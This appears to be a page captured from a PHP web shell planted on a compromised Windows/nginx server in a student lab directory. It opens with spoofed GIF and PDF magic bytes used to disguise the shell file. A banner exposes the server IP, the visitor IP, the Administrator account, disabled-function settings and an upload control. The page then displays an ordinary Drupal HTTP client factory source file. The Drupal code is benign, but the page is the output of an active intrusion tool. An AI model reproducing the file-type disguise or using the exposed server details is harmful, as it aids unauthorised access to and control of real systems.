GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Http/ |
Upload File : |
<?php namespace Drupal\Core\Http; use Drupal\Component\Utility\NestedArray; use Drupal\Core\Site\Settings; use GuzzleHttp\Client; use GuzzleHttp\HandlerStack; /** * Helper class to construct a HTTP client with Drupal specific config. */ class ClientFactory { /** * The handler stack. * * @var \GuzzleHttp\HandlerStack */ protected $stack; /** * Constructs a new ClientFactory instance. * * @param \GuzzleHttp\HandlerStack $stack * The handler stack. */ public function __construct(HandlerStack $stack) { $this->stack = $stack; } /** * Constructs a new client object from some configuration. * * @param array $config * The config for the client. * * @return \GuzzleHttp\Client * The HTTP client. */ public function fromOptions(array $config = []) { $default_config = [ // Security consideration: we must not use the certificate authority // file shipped with Guzzle because it can easily get outdated if a // certificate authority is hacked. Instead, we rely on the certificate // authority file provided by the operating system which is more likely // going to be updated in a timely fashion. This overrides the default // path to the pem file bundled with Guzzle. 'verify' => TRUE, 'timeout' => 30, 'headers' => [ 'User-Agent' => 'Drupal/' . \Drupal::VERSION . ' (+https://www.drupal.org/) ' . \GuzzleHttp\default_user_agent(), ], 'handler' => $this->stack, // Security consideration: prevent Guzzle from using environment variables // to configure the outbound proxy. 'proxy' => [ 'http' => NULL, 'https' => NULL, 'no' => [], ] ]; $config = NestedArray::mergeDeep($default_config, Settings::get('http_client_config', []), $config); return new Client($config); } }